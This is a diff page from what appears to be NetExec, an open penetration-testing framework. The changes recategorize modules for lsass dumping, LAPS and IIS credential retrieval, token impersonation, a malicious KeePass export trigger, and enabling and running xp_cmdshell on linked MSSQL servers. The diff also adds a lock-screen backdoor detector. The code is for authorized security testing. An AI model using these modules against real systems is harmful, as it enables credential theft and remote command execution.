from lsassy.impacketfile import ImpacketFile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
credentials_data = []
|
||||
found_users = []
|
||||
@@ -130,8 +131,7 @@ class NXCModule:
|
||||
name = "hash_spider"
|
||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -9,8 +10,7 @@ class NXCModule:
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
+5
-6
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
@@ -8,14 +11,10 @@ class NXCModule:
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.check_appcmd(context, connection)
|
||||
|
||||
@@ -7,6 +7,7 @@ from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -14,8 +15,7 @@ class NXCModule:
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # could be flagged
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -4,17 +4,17 @@
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
@@ -22,12 +22,13 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
|
||||
None,
|
||||
IID_IObjectExporter,
|
||||
target_ip=connection.host,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_NONE,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from csv import reader
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = "ALL"
|
||||
|
||||
@@ -4,8 +4,10 @@ from time import sleep
|
||||
from csv import reader
|
||||
from base64 import b64encode
|
||||
from io import BytesIO, StringIO
|
||||
from xml.etree import ElementTree
|
||||
from xml.etree import ElementTree as ET
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +22,10 @@ class NXCModule:
|
||||
name = "keepass_trigger"
|
||||
description = "Set up a malicious KeePass trigger to export the database in cleartext."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
# module options
|
||||
@@ -39,7 +40,7 @@ class NXCModule:
|
||||
self.share = "C$"
|
||||
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
|
||||
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
|
||||
self.local_export_path = "/tmp"
|
||||
self.local_export_path = TMP_PATH
|
||||
self.trigger_name = "export_database"
|
||||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
@@ -358,7 +359,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
|
||||
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
|
||||
sys.exit(1)
|
||||
@@ -377,7 +378,7 @@ class NXCModule:
|
||||
|
||||
def extract_password(self, context):
|
||||
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
|
||||
xml_tree = ElementTree.parse(xml_doc_path)
|
||||
xml_tree = ET.parse(xml_doc_path)
|
||||
root = xml_tree.getroot()
|
||||
|
||||
root_entries = root.find("./Root/Entry")
|
||||
|
||||
+2
-2
@@ -1,6 +1,7 @@
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
@@ -17,8 +18,7 @@ class NXCModule:
|
||||
name = "laps"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
|
||||
+12
-11
@@ -13,6 +13,7 @@ from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import contextlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,10 +24,9 @@ class NXCModule:
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
@@ -81,10 +81,10 @@ class NXCModule:
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
@@ -111,8 +111,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
@@ -141,7 +140,7 @@ class NXCModule:
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
@@ -170,10 +169,12 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Now natively supported in the host banner")
|
||||
return
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
@@ -256,4 +257,4 @@ class NXCModule:
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -0,0 +1,103 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked MSSQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
# Store the original state of options that have to be enabled/disabled in order to restore them later
|
||||
self.backuped_options = {}
|
||||
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
# Adapting methods from MSSQLEXEC for backup and restore functionality
|
||||
def restore(self, option):
|
||||
try:
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def backup_and_enable(self, option):
|
||||
try:
|
||||
self.backuped_options[option] = self.is_option_enabled(option)
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def is_option_enabled(self, option):
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
# Assuming the query returns a list of dictionaries with 'config_value' as the key
|
||||
self.context.log.debug(f"{option} check result: {result}")
|
||||
return bool(result and result[0]["config_value"] == 1)
|
||||
@@ -1,63 +0,0 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_xp"
|
||||
description = "Enable or disable xp_cmdshell on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
self.context.log.display(out)
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
|
||||
self.query_and_get_output(query)
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
+21
-12
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
@@ -7,8 +10,7 @@ class NXCModule:
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
@@ -30,15 +32,22 @@ class NXCModule:
|
||||
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
|
||||
return
|
||||
|
||||
self.run_xp_cmdshell(self.command)
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
|
||||
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
|
||||
def run_xp_cmdshell(self, cmd):
|
||||
"""Run the specified command via xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
|
||||
result = self.query_and_get_output(query)
|
||||
self.context.log.success(f"Command output:\n{result}")
|
||||
if result:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value:
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
if output_lines:
|
||||
self.context.log.success("Executed command via linked server")
|
||||
for line in output_lines:
|
||||
self.context.log.highlight(line.strip())
|
||||
else:
|
||||
self.context.log.display("Command executed but returned no output")
|
||||
else:
|
||||
self.context.log.fail("No result returned from query")
|
||||
@@ -0,0 +1,89 @@
|
||||
from io import BytesIO
|
||||
import pefile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for detecting Windows lock screen backdoors
|
||||
Module by @E1A
|
||||
"""
|
||||
|
||||
name = "lockscreendoors"
|
||||
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
# List of exe names with expected descriptions
|
||||
self.expected_descriptions = {
|
||||
"utilman.exe": ["Utility Manager"],
|
||||
"narrator.exe": ["Screen Reader", "Narrator"],
|
||||
"sethc.exe": ["Accessibility shortcut keys"],
|
||||
"osk.exe": ["Accessibility On-Screen Keyboard"],
|
||||
"magnify.exe": ["Microsoft Screen Magnifier"],
|
||||
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
|
||||
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
|
||||
"displayswitch.exe": ["Display Switch"],
|
||||
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
|
||||
}
|
||||
|
||||
# If description matches one of these it's almost certainly backdoored
|
||||
self.backdoor_descriptions = [
|
||||
"Windows Command Processor",
|
||||
"Windows PowerShell"
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_description(self, binary_data):
|
||||
# Extract the file description from version info
|
||||
try:
|
||||
pe = pefile.PE(data=binary_data, fast_load=True)
|
||||
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
|
||||
for fileinfo in pe.FileInfo:
|
||||
for entry in fileinfo:
|
||||
if entry.Key.decode() == "StringFileInfo":
|
||||
for st in entry.StringTable:
|
||||
desc = st.entries.get(b"FileDescription")
|
||||
if desc:
|
||||
return desc.decode().strip()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to extract PE info: {e}")
|
||||
return None
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
target_path = "\\Windows\\System32"
|
||||
tampered = False
|
||||
|
||||
for exe, expected_descs in self.expected_descriptions.items():
|
||||
try:
|
||||
# Grab the binary from the share
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
|
||||
binary = buf.getvalue()
|
||||
|
||||
# Extract and normalize the file description
|
||||
file_desc = self.get_description(binary)
|
||||
if not file_desc:
|
||||
context.log.fail(f"{exe}: could not extract FileDescription")
|
||||
continue
|
||||
|
||||
# Check if the description is as expected
|
||||
if file_desc not in expected_descs:
|
||||
tampered = True
|
||||
if file_desc in self.backdoor_descriptions:
|
||||
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
|
||||
else:
|
||||
if len(expected_descs) == 1:
|
||||
expected_str = f"'{expected_descs[0]}'"
|
||||
else:
|
||||
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
|
||||
expected_str = f"one of: {expected_str}"
|
||||
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to process {exe}: {e}")
|
||||
|
||||
if not tampered:
|
||||
context.log.display("All lock screen executable descriptions are consistent with the expected values")
|
||||
Loaded 100 of 241 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user